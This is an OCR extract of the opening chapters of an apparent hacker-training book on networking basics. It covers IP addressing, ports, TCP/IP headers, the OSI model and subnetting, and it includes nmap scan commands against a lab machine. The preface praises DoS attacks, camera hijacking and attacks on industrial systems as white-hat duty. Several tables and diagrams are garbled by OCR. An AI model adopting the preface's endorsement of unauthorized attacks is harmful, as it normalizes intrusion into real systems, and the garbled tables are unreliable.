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Prelude

Welcome to the long-awaited Network Basics for Hackers! This is the fourth book in the series
Linux Basics for Hackers from me, Occupytheweb. Like Linux Basics for Hackers, I intend this
book to provide a basic framework, to begin with networking concepts, applications in Linux,
and the vulnerabilities of the various protocols.

We will start with basic networking and TCP/IP concepts and then progress to tools for
analyzing network packets and protocols. Then we will examine each of the major networking
protocols, build their application in a Linux system and analyze their weaknesses that can be
exploited by hackers. Finally, we will advance to some more advanced topics such as
Automobile Networks, SCADA/ICS networks, Radio Frequency (RF) networks, and Mobile
networks.

I’m assuming you have little or no networking background, but I AM assuming that you have
read Linux Basics for Hackers. We will be using Linux exclusively to build our various
applications (Linux commands are not explained in this book. Please refer to Linux Baiscs for
Hackers for basic Linux commands). In addition, we will be using Kali Linux as our platform.
Most all of the Kali Linux editions will work (examples in the book use various editions from
2019 through 2022.4). You can download Kali at kali.org (for instructions on installing Kali in a
virtual machine, see Linux Basics for Hackers). In addition, recent Kali editions require that you
use sudo before commands that require root privileges. Keep this is mind if you get a error
message saying “command not found.” You will probably need to precede the command with
sudo.

Reading my Getting Started Becoming a Master Hacker will also be helpful, but it is not
assumed here in this book. In chapters where we use Metasploit, you can gain the necessary
background in this widely used tool by reading my tutorials on Metasploit at www.hackers-
arise.com or reading my popular book Metasploit Basics for Hackers in the online bookstore at
Hackers-Arise.

I don’t pretend that this book will make you an expert network engineer, but I do hope it
provides you with some insights into these protocols and their weaknesses from a hacker or
security engineer’s perspective.
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What is a White Hat Hacker?

Hackers-Arise, my website, is a white-hat hacker training site. This means that we use our skills
for good. Obviously, this means things like penetration testing and cyber-security. That is the
textbook definition of a white hat hacker and one you will see on many hacking/cybersecurity
certification exams.

Rather than be confined by the textbook definition, I prefer to expand the definition of a white
hat hacker. Having hacking skills is similar to having a superpower; you have responsibilities
and risks that go with it.

If your nation's government is authoritarian and censoring material over the Internet, I see it as
incumbent upon the white hat hacker--with our hacking superpowers--to help to keep the Internet
free and open. When governments feel threatened by their own people, they often shut down
Internet access and communication of its people. In such a case, a white hat hacker can help to
keep communication free and open. If a nation's government is illegally or unethically spying on
its own people, then it is the responsibility of the white hat hacker to help those people maintain
their privacy. If one authoritarian nation rolls its military over another free people, it is the
RESPONSIBILITY of the white-hat hacker to respond. Remember, we are the good guys, and
we have the power that few humans possess to protect freedom.

The white hat hacker is not ONLY a pentester/cybersecurity professional. The white hat hacker
is also a beacon and warrior for information freedom and human rights on the Internet.

Our Actions and Activities in Ukraine

As most of you know, Hackers-Arise has played a key role in the efforts to save Ukraine from
the actions of its brutal, former colonial master and neighbor, Russia. On February 24, 2022,
Russia attacked Ukraine in an effort to subjugate it to Kremlin’s rule. Within minutes, Hackers-
Arise led an effort of tens of thousands of hackers around the world to DoS (denial of service)
the Russian government and commercial websites. This included shutting down the stock
exchange in Russia and other governemt and commercial sites. We were able to limit availability
of these sites for about five weeks before Russian cybersecurity experts were able to thwart of
efforts. Russian officials have vowed to take revenge on us.

Immediately after the war started, we began to geo-locate the yachts of Russia’s oligarchs for
harassment and eventual seizure by NATO countries. Soon therafter (April 2022), we received a
request from Ukraine officials to hack the numerous cameras around the country to watch for
Russian war crimes. We did so and maintain access to these camera even as [ write. We have
conducted cyberattacks against a number of industrial facilities (SCADA/ICS) in Russia to limit
their ability to maintain their economic activity to sustain their war efforts.

In January 2023, at the request of Ukraine authorites, Hackers-Arise opened a
cybersecurity/hacker school in Kharkiv, Ukraine. This school is just 40km (25 miles) from the
Russian border. This represents the closest school to Russian territory in the world. It is designed
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to train the next generation of security professionals/hackers to keep Ukraine and its neighbors
safe.

We believe that it our responsibility,as hackers, to use our abilities to keep the world safe. This is
what white hat hackers do.
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Chapter 1

Network Basics

So many of you have written to me asking whether networking is a
key hacker skill. The unequivocal answer is YES! You are very
i unlikely to be successful in this field without a fundamental
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understanding of networks and networking. As a result, here is my Network Basics for Hackers
to help you get started!

IP Addresses

Internet Protocol addresses (IP addresses) make the world go 'round. Or, at least, enable us to
email, Zoom, watch YouTube videos, Tweet, and navigate the web. It's almost as important as
the world going around!

Each digital device (computer, laptop, phone, tablet, etc.) is assigned an IP address, and this is
what enables us to communicate and connect with it. Imagine an IP address as being similar to
your house address. Without that address, no one could find you and send you snail mail.

The IP address system we are presently using is known as IP version 4, or IPv4. It is made up of
32 bits of four octets (8 characters) or four groups of 8 bits (on/off switches).

Take, for instance, 192.168.1.101. Each of the numbers between the dots (.) is the decimal
equivalent of 8 bits. This means that we calculate the base 2 number (that computers use)
represented by the 8 bits and convert them to decimal numbers that humans are more accustomed
to working with (see the diagram below). Each one of the octets (8 bits) is capable of
representing numbers within the range 0 through 255 (2 to the 8th power).
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An IPv4 address {dotted-decimal notation)

172 . 16 . 254 . 1
\ 4 4 ¥ \ 4

10101100 00010000 11111110, 0000000 1

| | | |
T |

One byte = Eight bits
| ]
1

Thirty-two bits (4 x 8), or 4 bytes

Classes of IP Addresses

IP addresses are generally put into three classes, A, B, and C. The ranges of the
classes are as follows:

o Class A: 0.0.0.0 - 127.255.255.255
e Class B: 128.0.0.0 - 191.255.255.255
e Class C: 192.0.0.0 - 223.255.255.255

In Chapter 2, we will address sub-netting and subnet masks that vary with these different IP
classes.

Public vs. Private IP Addresses

It's important to note that our IP address system has its limitations. The most significant restraint
is that there are not enough IP addresses to cover all devices that need to connect to the internet.
The IPv4 system we are working with now has only 4.3 billion IP addresses. With 7.5 billion
people on the planet and far more devices, that certainly is not enough.

As a result, a system was developed to reuse a group of IP addresses within a LAN—that are not
usable over the internet. These addresses can be used over and over again within each local area
network, but not over the internet, thereby conserving the number of IP addresses necessary to

keep the world going 'round.

These private addresses include:
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e 192.168.0.0 - 192.168.255.255
e 10.0.0.0 - 10.255.255.255
e 172.16.0.0 - 172.16.255.255

You have probably seen the private IP addresses beginning with 192.168.xxx.xxx or
10.xxx.xxx.xxx on your Kali system when you type ifconfig.

-~

[sudo] password for kali:
etho: f1: 4 UP,BROADCAST ,RUNNING,MULTICAST> mtu 1500
1 168.100.5 netmask 255.255.255.0 broadcast 192.168.100.255
inet6 fe80::a00:27ff:fe@e:348d prefixlen 64 scopeid @x20<link>
ether 08:00:27:0e:34:8d txqueuelen 1000 (Ethernet)
RX packets 3 bytes 710 (710.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 12 bytes 1204 (1.1 KiB)
TX errors © dropped @ overruns @ arrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
loop txqueuelen 1000 (Local Loopback)
RX packets 8 bytes 400 ( 0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 8 bytes 400 (400.0 B)
TX errors ©@ dropped @ overruns @ carrier @ collisions ©@

This is your private IP that is only usable on the local area network. To communicate over the
internet, your IP address must be translated to a public IP by a NAT device (see NAT below).

DHCP

Dynamic Host Configuration Protocol (DHCP) assigns IP addresses dynamically. This means
that you do not have the same IP address all of the time. Most of the time, these IP address
assignments are on a local area network. Remember, on LANs; we use private [P addresses.
When each device is connected to the LAN, it must request an IP address. That device sends the
request to the DHCP server that assigns an [P address to that system for a fixed length of time,
known as a "lease."
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DHCP SERVER
Assign IP Addresses in
The Range 10.1.1.1-10.1.1.100

| ETHERMET
LAMN

( D 1001.1.0/24
DHCP Request

PC PC

ST $O

DHCP CLIENTS
Request |F Addrass
From DHCP Sarver

Each time you connect to the LAN, you are likely to receive a different (dynamic) IP address,
but usually in the same range. For instance, 192.168.0.0 - 192.168.255.255.

NAT

Network Address Translation (NAT) is a protocol whereby internal private [P addresses are
"translated" to an external public IP address that can be routed through the internet to its
destination. Remember, private IP addresses of the systems inside the LAN cannot use their IP
addresses on the internet because they are not unique (every LAN uses basically the same IP
addresses inside their network).

The NAT device accepts requests to traverse the internet from an internal machine. It then
records that machine's IP address in a table and converts the IP address to the external IP address
of the router. When the packet returns from its destination, the NAT device looks into the saved
table of the original request. It forwards the packet to the internal IP address of the system that
made the original request within the LAN. When working properly, the individual systems and
users don't realize this translation is taking place.
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For instance, the diagram above shows four computers with private IP addresses behind a device
that is serving as both a NAT device and a router (not uncommon). The devices use their private
IP addresses within the LAN, but when they want to communicate over the internet, the NAT
device translates it to one of the public IP addresses that are unique on the internet. In this way,
the routers along the way know exactly where to send the packets.

Ports

Ports are a kind of sub-address. The IP address is the primary address, and the port is the sub-
address. Using a well-worn but effective metaphor, think of the IP address as the street address
of a building and then the port as the apartment number. I need the street address to get to the
correct building, but I need the apartment address to find the individual person. This is similar to
ports. The IP address gets us to the right host, but the port takes us to the proper service, say
HTTP on port 80.

There are 65,536 (2 raised to the 16th power) ports. The first 1,024 are generally referred to as
the "common ports." Obviously, people don't remember all 65,536 ports (unless they are savant)
or even the 1,024 most common ports. As a hacker, security engineer, and/or network engineer,
though, there are a few ports that you should know by heart:
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Port Mumber(s) Protocal | Port Type
2 FTP TCE: UDP
22 S5H |  TCP uDP
23 Tk TCF. LIDP
B3 O TCE WoP

BTMa DHCP | unp
80 HTTP TCP. UDP
110 POF3 | TR uoP

137123 MeERIOSHeBT TCE LDP
143 IMAP | TP

V8162 SHMP TCP: UDP
389 LDAF | TcPuoP

427 5LFP TCE, LIDP
443 HTTRS | TeR ubP
445 SMBICIFS TCP
548 AFP | TCP

3385 ROF TCR LUIDRP

*Car sl b used for AFP

We can use a tool such as nmap to see what ports are open on a system. In this way, the security
engineer or hacker can see what ports are open and which services running on the target system.

For instance, to see all the ports open on a Metasploitable-2 system (an intentionally vulnerable
Linux system developed by the good people at Metasploit), we can run the following command,

kali > sudo nmap —sT <IP address of the target system>
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: -sT 192.168.187.148
[sudo] password for kali:
Starting Nmap 7.92 ( '/ - ) at 2 -10-18 15:9@9 EDT
Nmap scan report for 2
Host is up (@.¢ a
Not shown: 977 closed tcp ports (conn-refused)
PORT STATE SERVICE
open ftp
open
open

open
open domain
open http

open rpcbind
open netbios-
open microsoft-

open exec

open login

open shell

open rmiregistry
open ingreslock
open nfs

open ccproxy-fip
open mysqgl

open postgresql
open  Vnc

open X11

open irc

open ajpl3

open unknown

MAC Address: @0:@C:29:FA:DD:2A (VMware)

n

oL

Nmap done: 1 IP address (1 host up) scanned in @.22 seconds

nmap then reports back with the open ports and the default service on that port.

TCP/IP

Next, [ want to introduce you to the basics of TCP/IP, i.e., Transmission Control Protocol (TCP)
and Internet Protocol (IP). These are the most common protocols used on the internet for
communication.

To become a proficient hacker, forensic investigator, or simply a good network engineer, you should
understand the structure and anatomy of these protocols. From my experience, many professionals in
these fields do not understand the basics of TCP/IP, which means that you will definitely have an
advantage over them if you DO understand.
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When trying to create a new hacking tool or investigate a network attack, understanding these
protocols and their fields is essential. Otherwise, you will simply be wasting your time.

What Are Protocols?

Protocols are simply an agreed-upon way to communicate. For instance, we here on Hackers-
Arise have agreed upon the English language with all its rules and grammar as our way to
communicate. That is our protocol. If we did not have an agreed-upon way to communicate,
people would be using many languages, grammar, and rules, and none of us would understand
each other.

Protocols are similar. A protocol simply defines a way of communication with all its rules. These
rules are usually defined by an RFC (Request for Comments).

There are many, many protocols in use on the internet. These include TCP, IP, UDP, FTP,
HTTP, SMTP, etc., and each has its own set of rules that must be complied with to communicate
effectively (similar to the rules we use in communication via written languages).

ﬂ Harre Host Metwark File E-Mail & | W & imder:
tyitem | |Contig Mgt Trandter | |Mavws Gaphar | |active
= DNE EFLRRS el
- ioes | BOOTP BHMP FTP L — HTTP =
Bl| & [T L
[ =
% igﬂﬂi Felsl 1 rreEreiE
1l = OHER AMON TFTR |_|"'-""' Gty
5 [wrs ] [ [Taere | I - |
Liear Datagram Pratacal Tranamigsion Contrel Pratacal
4| | Transport {UDR) (TGP}
IP Suppert IP Rgarting
IF NAT Prodacals ProtzLais
BEMPACKEPE
Internet Frofocod .
3] | rtermat (PP, [Pv) Lsee | M o AL
[T Muightar '.:T:.rf
Ll Dissavwery (WD)
Agangas Redciutcn Roverie Addrois Resolubcn
Protacal |ARP) Prodocol |RARF)
3 Hetwork Sadidl Ling Inbestace | | Pointto-Paim Pratesal
Intarfede Protacal [ELIF) [FFF]

Arguably the two most important protocols for use over the internet are IP and TCP, so let's take
a look at each of these.
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IP (Internet Protocol)

IP, or Internet Protocol, is the protocol that is used to define the source and destination IP
address of a packet as it traverses the internet. It is often used in conjunction with other protocols
such as TCP; hence, the often-used conjunction, TCP/IP.

Let's look at an IP packet header and see what information it contains that can be useful to the
aspiring hacker and/or forensic investigator.

Byte
S CERNEEN BN ANE RN SRR AR SN RN RN A SR
0 Version IHt é?{;ﬁ?er Type of Service (TOS) Total Length
| | | | | I | | | 1 | | | | | 1 | I | 1 | | | 1 | | |
4 Identification IXP 'Blagrj Fragment Offset
| | | 1 | | I | | | 1 | | | | | 1 | I | 1 | | | 1 | | | 20
8 Time To Live (TTL) Protocol Header Checksum Bytes
S ) S B | I [ S S IHL
12 Source Address (Internet
Header
[ [ [ 1 [ [ 1 1 [ [ [ 1 [ [ [ | [ [ [ 1 [ 1 [ 1 [ [ [ 1 [ [ [ Length)
16 Destination Address
[ [ [ 1 [ [ 1 1 [ [ [ 1 [ [ [ | [ [ [ 1 [ 1 [ 1 [ [ [ 1 [ [ [
20 IP Option (variable length, optional, not common) J
. I I I I I I I I I I L I | L ! e I ' ) I I I I 1 I I 3 I
Bt ¥0 1 2 34 56 7'89 o +2345¥ 789, 123456789,
| Nibbie —}— Byte —#}—wora >
Row 1
e Version: This defines the version of IP, either v4 or v6.
e THL: Defines the header length.
e Type of Service (TOS): This defines the type of service of this packet. These include
minimize delay, maximize throughput, maximize reliability, and minimize monetary cost.
o Total Length: This defines the total length of the IP datagram (including the data) or the
fragment. Its maximum value is 65,535.
Row 2

Identification: This field uniquely identifies each packet. It can be critical in
reassembling fragmented packets.

IP Flags: This field defines whether the packet is fragmented (M) or not (D). The
manipulation of the field can be used to evade IDS and firewalls. Check out my tutorials
on nmap and hping3 on how we can manipulate packets to evade intrusion detection
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systems and other security devices. It can also be used in conjunction with the Window
field to identify the operating system of the sender.

o Fragment Offset: This field is used when packets are fragmented. It defines where the
packets should be reassembled from the beginning of the IP header.

Row 3

e TTL: This is the "time to live." This defines how many hops across the internet before
the packet expires. It varies by the operating system making it helpful to identify the OS
of the sender.

e Protocol: This field defines what protocol is being used with IP. Most often, it will be 6
or TCP, 1 for ICMP, 17 for UDP, among others.

e Header Checksum: This is an error-checking field. It calculates the checksum (a simple
algorithm) to determine the integrity of the data in the header.

Rows 4 & 5

e Source / Destination: These rows of the IP header are probably the most important part
of the header as it contains the source and destination IP address.

Row 6

e Options: This field is variable in length, and its use is optional (as you might expect).
o Padding: This field is used to fill out, if necessary, the remaining bits and bytes of the
header.

TCP (Transmission Control Protocol)

In the TCP header, there are numerous critical fields that the aspiring hacker and/or forensic
investigator should understand.
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0 B 16 24 32
1
1

| |
Source Port Destination Port

Sequence Number

Acknowledgment Number

oata | |cle(ula[r|r]s|F
Reserved |W|CIR|C|5[5] Y]] Window Size
Offset RIE|G|K|H|T|N|N
Checksum Urgent Pointer
I
Options | Padding

Row 1

e Source Port/ Destination Port: Probably most importantly, these are the source port
and destination port. These fields determine what port the communication came from
(source) and where it is going (destination).

Row 2

e Sequence Number: The sequence number is generated by the source machine's TCP
stack and is used to make certain that packets are arranged in the proper sequence when
they arrive. It is also important in defeating MitM attacks.

Row 3

o Acknowledgment Number: This is an echo of the Sequence Number sent back by the
receiving system. It basically says, "I received the packet with the Sequence #." In this
way, the sender knows that the packet has arrived. If the sender does not receive an
Acknowledgment Number back in a fixed amount of time, it will resend the packet to
make certain the receiver gets the packet. In this way, TCP is reliable (in contrast, UDP
does not do this and is, therefore, unreliable).

Row 4

The fourth row has some critical information. Let's skip over the Data Offset and the Reserved
fields. That takes us to 8 bits near the middle of Row 4. These are the infamous flags of the
three-way handshake and nmap scans.

The first two bits, CWR and ECE, are beyond the scope of this lesson. The next six bits are the
URG, ACK, PSH, RST, SYN, and FIN flags. These flags are used by TCP to communicate;
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e SYN: The opening of a new connection.

e FIN: The normal, "soft" closing of a connection.

e ACK: The acknowledgment of a packet. All packets after the three-way handshake
should have this bit set.

e RST: The hard-close of a connection and is usually used to communicate that the packet
has arrived at the wrong port or IP.

e URG: This flag indicates that the following data is urgent.

o PSH: Push the data past the buffer to the application.

If you are familiar with nmap or hping3 as recon tools, you have used scans utilizing all of these
flags. By creating packets with flag combinations that should not be seen in the wild, we may be
able to elicit a response from a very secure system or even evade detection.

e Window Size: In some diagrams, this is simply described as the Window field. Its role is
to communicate the size of the window that the TCP stack has to buffer packets. This is
the way that TCP manages flow control. From a recon or forensics perspective, this field
alone can be enough to identify the OS that sent the packet. This field varies from OS to
OS and even from SP to SP. Given this bit of information, one can predict with about
80% accuracy the OS that sent the packet. In fact, it is this field and a few others (DF and
TTL in the IP header) that operating system fingerprinters such as pOf use to identify the
OS.

Row 5

e Checksum: This field uses a simple algorithm to check for errors. In essence, it is an
integrity checker.

e URG Pointer: This field points to the last byte of the sequence number of urgent data.
The URG flag must be set in conjunction to activate this field.

Row 6
e Options: Like the IP header, the TCP header has an options field to be used if necessary,

and it is varying length.
o Padding: The padding is necessary to bring the TCP header to a multiple of 32 bits.

TCP Three-Way Handshake
Every TCP connection starts with a 3-way handshake. The handshake begins with a client

sending a packet with the SYN flag set saying, “Hello, I want to talk to you” the server responds
with a packet with the SYN and ACK flags set saying, “Hi, I’'m willing and able to chat,” and
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then finally, the client sends a packet with the ACK flag set that acknowledges the response of
the server, and then the data transfer can begin.

SYN /,,f--a

s‘m .Mlﬁ

CH
—

ESTABLISHED /
'\__h____

-
=R

UDP

User Datagram Protocol or UDP is a connectionless protocol (vs. TCP, which is connection-
oriented and requires a connection such as the 3-way handshake as seen above). It is more
lightweight than TCP since it doesn’t have the overhead of assuring a connection and making
certain that each packet arrives. UDP simply sends packets and forgets about them. This works
great in applications where you want efficiency and no one packet is critical such as streaming
music or video.

Some of the key protocols that use UDP include DNS/ (only for queries), SNMP for network
device management, and NTP for network time synchronization.

When scanning for UDP ports with tools such as nmap, it can take a bit longer as UDP does not
have a response for lost packets or closed ports. Nmap simply waits a specified time, and if no
response is returned, it assumes the port is closed. You can scan for UDP nmap with the

following command

kali > nmap —sU <IP Address>

Network Topologies

When devices are connected together, there are several options for the physical layout of the
devices. This physical layout can be very important in optimizing the distance, latency,
congestion, and availability of any two nodes on the network. This physical configuration is
known as topology.

Ring Topology
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The original topology in the early systems was a bus topology. Each of the devices is strung
together in a single line. Each device can tap into the bus to send and receive packets. Every
node can see every packet sent over the bus. Each device has to examine each packet to
determine if the packet is intended for them. The advantage to the bus topology is that it is cheap
and simple, while the disadvantage is that on a busy network, it can easily become congested.

| |
o O

O O O
|

I

Star Topology

The star topology is the most popular topology for local area networks (LAN). In the star
topology, there is a server at the center of the star, and the clients all connect to the server. The
advantage of this topology is that the connections to each of the clients are independent, and if
one client or its connection is broken, the others clients can still communicate with the server.

o~ 1

Ring topology

The ring topology sends the packets around a ring, and only the client the packet is intended for
can grab the packet from the ring. The advantage of the ring topology is that it is simple and
inexpensive, but if the ring is broken, all clients cannot receive any communication.
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Mesh Topology

The mesh topology has many connections between each device on the network. This means that
a packet has a variety of paths to take to its destination. This gives the network resiliency in the
case that one cable or path is broken. This is similar to how our modern internet is connected;
packets have multiple paths they can take to the target system. In addition, mobile apps such as
Briar are able to setup a network using a mesh topology and Wi-Fi or Bluetooth to create an
alternate network for communication.

-
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The OSI Model

The OSI and the TCP models are the most common models to understand the way that these various
protocols work together. Many novices tend to minimize the importance of these models as they initially
don’t seem to have any practical importance to networking systems. In reality, you should at least have a
basic understanding of these models as you will hear references to them repeatedly in your career, such
as, “this is a layer three switch.” This would be unintelligible without a rudimentary understanding of the
OSI model.

Let’s begin with the OSI model. The diagram below displays the seven layers and the basic use of that
layer in network communication.

. . * End User layer
A pl Icatlon ¢ HTTP, FTP, IRC, SSH, DNS
. * Syntax layer
Presentat|0n * SSL, SSH, IMAP, FTP, MPEG, JPEG
. * Synch & send to port
Sess' on ¢ API's, Sockets, WinSock

. _* End-to-end connections
Transport G =

s Packets
* |P, ICMP, IPSec, IGMP

* Frames
e Ethernet, PPP, Switch, Bridge

. * Physical structure
PhySlcaI ¢ Coax, Fiber, Wireless, Hubs, Repeaters

As you can see, there are seven layers to the OSI model, the Application layer, the Presentation layer, the
session layer, the Transport layer, the Network layer, the Data link layer, and finally, the Physical layer.
The figure above details the various layers and the protocols and activities associated with each. To help

you remember the various layers of this model, there are at least two mnemonic devices to help. If we
start from the top and work our way down, we can take the first letter of each layer, namely, A, P, S,T, N,
D, and P. Many people remember these layers by using the mnemonic device;

All
People
Seem

29| Page



To
Need
Data

Processing.

If you remember that phrase, you can likely remember the various layers. If we work our way up the
model, we get P, D, N, T, S, P, and A. Then we use the phrase Please Don’t Throw Sausage Pizza Away.
Feel free to use either or make up your own. The key is to remember the seven layers. I hope this helps.

The OSI Model from a Cybersecurity Perspective

The attacks against the protocols in this model can be categorized as follows;

AND ATTACKS

APPLICATION EXPLOIT

PRESENTATION PHISHING

HIJACKING

TRANSPORT RECONNAISSANCE

NETWORK MITM

DATA LINK SPOOFING

PHYSICAL SNIFFING
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The Application layer generally includes applications such as a browser, word processors, and
other applications. This layer’s most important attacks are likely to be exploits. These are
attacks that can often embed the hacker’s code within the application to take control of the
application and the system.

At the Presentation layer, the most concerning attack is phishing or sending emails to various
people with malicious links.

At the Session layer, the most important attack is hijacking. Hijacking is where an attacker can
take over an existing session established legitimately by the user.

At the Transport layer, the hacker often does their reconnaissance at this layer.

At the Network layer, the attackers can conduct Man-in-the-Middle MiTM) attacks where they
place themselves between a legitimate user and a server, thereby eavesdropping on the traffic
and possibly even altering it.

At the Data Link Layer, the attacker can spoof the MAC addresses, the globally unique address
stamped on every networked device and essential to the proper functioning of a LAN (see ARP).

Finally, the Physical layer can be attacked using sniffing. Sniffing is the practice of watching
and analyzing network traffic (see Wireshark and Sniffers in Chapter 4).

We will look more closely at each of the attacks against the network protocols and layers as we
proceed through this book.

Now that you have a basic understanding of networks, IP addresses, and the OSI model, take a
few minutes to test your knowledge with the questions below.

Exercises

1. What is the difference between public and private IP addresses? Is 172.16.242.63 a
public or private IP address?

Use ifconfig to determine what IP address your system is using.

Do an nmap scan against your system. What ports are open?

What are the 6 TCP flags, and what are they used to do?

What are the most common attacks against the network layer?

i
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Chapter 2

Subnetting and CIDR Notation

To begin, let's state the obvious. First, to become a network

. engineer or network security engineer, you should have an

| understanding of sub-netting. Second, there are a number of
tools that are convenient and useful in calculating your subnet,
including subnet calculators. This having been said, calculators
and other tools are no substitute for understanding sub-netting.
That is what we intend to do here.
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Why Sub-netting?

Sub-netting lets network administrators use the 32 bits in IPv4 IP address space more efficiently.
They can create sub-nets within a Class A, B, or C network. This enables the administrator to
create networks with more realistic host numbers.

Sub-netting provides a flexible way to designate which portion of the IP address represents the
host IP and which portion represents the network ID. In addition, even if a single organization
has thousands of devices, they don't want them all running on the same network ID. The network
would slow dramatically. By dividing up the network, you can have different physical networks
and broadcast domains.

Subnet mask quick reference

Host Bit Mask| Binary| Mask|Subnet
length| math|{Mazx hosts|Subnet mask octet mask| length| length
0] 2= 1266 265 265 255 4111111111 32 a
1 2v= 2|255.255 255 254 4111111110 31 1
2| 2= 4255265 2556 252 4111111100 30 2
3| 3= B|255.265. 256 245 4111111000 29 3
4] 2= 16 |2556.265.255 240 4] 11110000 28 4
5| 5= 32|255 265 265 224 4] 11100000 27 5
B| 2%= B4 |2655 265 255 152 4] 11000000 26 3]
7| 2= 125|265.2565 255 128 4] 10000000 25 7
8| 2= 266 |256.265 265.0 3111111 24 5]
8| 2d9= B12|256.265.254.0 311111110 23 E
10 2M0= 1024 | 256,265 26210 311111100 22 10
11 2M1= 20452552565 24580 3] 11111000 21 11
12| 2M2= 4096265 255 240.0 3| 11110000 20 12
13|24 3= 8192|265 255 2240 3] 11100000 19 13
14| 2M 4= 16384 [255.255.192.0 3| 11000000 18 14
15| 2M5= 327EE 255,265 125.0 3| 10000000 17 15
16| 2MB= B5536E |255.265.0.0 2111111111 16 16
17| 2M7= 13107 2{256.254.0.0 2111111110 15 17
15| 2M8= 262144 [266.252.0.0 2111111100 14 18
19| 2M9= 024288[256.245.0.0 211111000 13 19
20(240=] 1048576|256.240.0.0 2] 11110000 12 20
21| 2=] 2087152255224 0.0 2| 11100000 11 21
22|22=] 4154304 |255.152.0.0 2| 11000000 10 22
23|23=| B§388608|255.125.0.0 2| 10000000 g 23
24| 2= 16777216|255.0.0.0 111111111 5] 24

Sub-nets

A subnet is a network within a network, namely a Class A, B, or C. Subnets are created by using
one or more of the host bits to extend the network ID. As you know, Class A networks have an
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8-bit network ID, Class B has a standard 16-bit network ID, and Class C has a standard 24-bit
network ID. Subnetting enables us to create network ID's of any size.

1] H I
Leading Size of Network Size of Rest  Number Addresses Start address,  End address

CBSS ' Gis NumberBitfeld Btfed | ofNetworks perNetwork
Class A 0 | 8 24 128(2') 16,777,216 (2*) 0.0.0.0 127.255.255.255
Cless B 0 6 16 16384(2") 65532 128000  |191.255.255.255
Cless C m : 2007152 (%) 256 () 192000 | 223.255.25.255

A network mask, or netmask, is a binary mask that is applied to an IP address to determine
whether two IP addresses are in the same subnet. A network mask works by applying binary
AND operations between the IP address and the mask.

Class A Mtk Hist Hisst Hisit
Subnet Mask au, 0 0 0
Class B | Netwok I Network | Host I Host J
Subnet Mask
! 25 25 o 0
Class € | metwok | Metwork | Metwork | Host |
[ S 3
Subnet Mask . - - a

Sub-Net Masks

Subnet masks use the 32-bit structure of the IP address. The subnet mask tells us which bits are
for the Network ID and which bits are for the host ID. When the subnet mask bit is set to one,
this means it is part of the network. A bit marked as zero is part of the host ID. The diagram
below is meant to demonstrate this process of bit-wise AND operation between and IP address

and its mask.

34| Page



Sibntk Mask A55:255.255.0

Lo fefep

T

J|||||1|1|||||1

ofofofefelofe]e]

B LTV b

B EAEEE RN

I REARERER

AR EEEE

Ll ]ofofofofo]e

toi[e i To]o]o

ofoJelele]o]o]

olofololo] i]a] 1]

% Adless: 19ad6%-1.5

1638

|

142,
L1 [olelolole]o

e[ To [ [o]0 T

ololole]efo]o]!

ofofefofe]o]o]e ]

Nehwo'e Peefix: 192.165.1.0

CIDR Notation

CIDR, or Classless Inter-Domain Routing notation, is a way of representing an IP address and
the network mask associated with it. CIDR notation specifies an IP address, a slash (/), and a
decimal number such as 192.168.1.0/24, where the 24 represents the number of bits in the
network mask. Of course, the number of bits can vary depending on the number of sub-nets.

Our Scenario

To demonstrate this principle, let's create a scenario. Let's assume we have a Class C network,
say 192.168.1.0. That means we have 254 host addresses available (1-254). What if we needed
five different networks with no more than 30 hosts per network?

We have a Class C address:

NNNNNNNN.NNNNNNNN.NNNNNNNN.HHHHHHHH

With a Subnet

mask of:

11111111.11111111.11111111.00000000

We can create smaller networks by borrowing bits from the host portion of the address.

NNNNNNNN.NNNNNNNN.NNNNNNNN.NNNHHHHH
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This provides us with a netmask like that below.

11111111.11111111.11111111.11100000

These zeros represent the

These ones represent the network 1D Hast 1D

Those 3 bits would give us 2 to the 3rd power (8) -2 (we need to subtract for the reserved
network and broadcast IP) subnets or 6. There would be 5 bits left in the network portion of the
address or 2 to the S5th power (32) - 2 or 30 hosts per subnet.

The calculation of the subnet mask after borrowing those 3 bits would be;

255.255.255.224 (128+64+32=224)

Femember ourvalues:
1286 64 32 16 8 4 2 1 Equals

Now our 3 bit configurations:

o o 1 H H H H H 32
o 1 o H H H H H 64
o 1 1 H H H H H g6
1 o o H H H H H 128
1 o 1 H H H H H 160
1 1 o H H H H H 192
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Summary

Subnetting is a key skill for every network engineer or anyone trying to do network forensics or
network analysis. Hopefully, this brief chapter sheds some light on the subject and at least leaves
you conversant in this subject matter.
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Chapter 3

Network Analysis

6 Caping rom Wiress et Connectin_ Wireshark 110,10 (v1.10.10-0-gc1544c8 rom master 210 W AU o =
[Fle £t View Go Coptore Znaie Sutmics Teephony Tooks Inemals Help

|lo® & m 2 B2 e LR 3 2 |
e e e o ey e f There are a large variety of tools available for

e e smcammmmemtaEms | gnglyzing your networks and network traffic. In this
. 715178192, - 22,231, 54 50403 > hrtp [ACK] Seqm20993 Ack=6151 winei
. 432656192, . 26.65.101 1256 POST /ajax/| knepa'\\vt 7rtadsonn=1412008475
6! h(YD [KK] Seq=45488 Ack=22401 win=
hetp [FIN, AcK) 52[1-!303" m-ms W

[FIn,

Lo oo used. Some you are already familiar with, such as
54 50431 > hrtp [ACK] Seq=916 Ack=108912 win=l
' ' ifconfig, and others may be new to you. It is my hope

chapter, we will look at a few of the most widely

15646 697, 411664 192.168. 1. 8.26.65.101 HTTP 1210 POST /ajax/Keepalive/7rt=J50nern=1412008479

Y T msfu,.g,.., (o sty m e o , that by the end of the chapter, you will be familiar

© Ethernet 1T, Src: LiteonTe_f4:b9:d0 (70: 000, D Clsco-L 8 (00:25:9:
¥ Internet Protocol version 4, Src: 192.16! 3 (192.168.1.103), D 239 134 (74.1:
© Transmission control Pnﬂu:al Src Port: !Dhl (50218), pst port: Iu:cus (443), seq: 1, Ack
0000 00 25 9c 97 4F 48 70 1a 03 f4 b9 d0 05 00 45 00 .%..OMp 3

000 09 33 7b 86 4 oD 8 ne 3] as 0 a8 0167 4a7d  I(.0. i

0020 ef 86 cd 2a 432368 04 7b 5020 ...%.. (0 ‘ChhllP.

3330 10 3¢ 66 48 60 65 ey

IE 37 Wireless Network Connection: <live capture in | Packets 15647 - Displayed: 5604 (35.8%) Profile: Defeult
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with the key tools to analyze network traffic and understand what is taking place on your network.

Command Line Tools

Let’s begin with the command-line tools. In Chapter 1, I introduced you to ifconfig (ipconfig in
Windows). This command is key to retrieving critical information about your network. Let’s try it in our
Kali Linux.

kali > ifconfig

-~

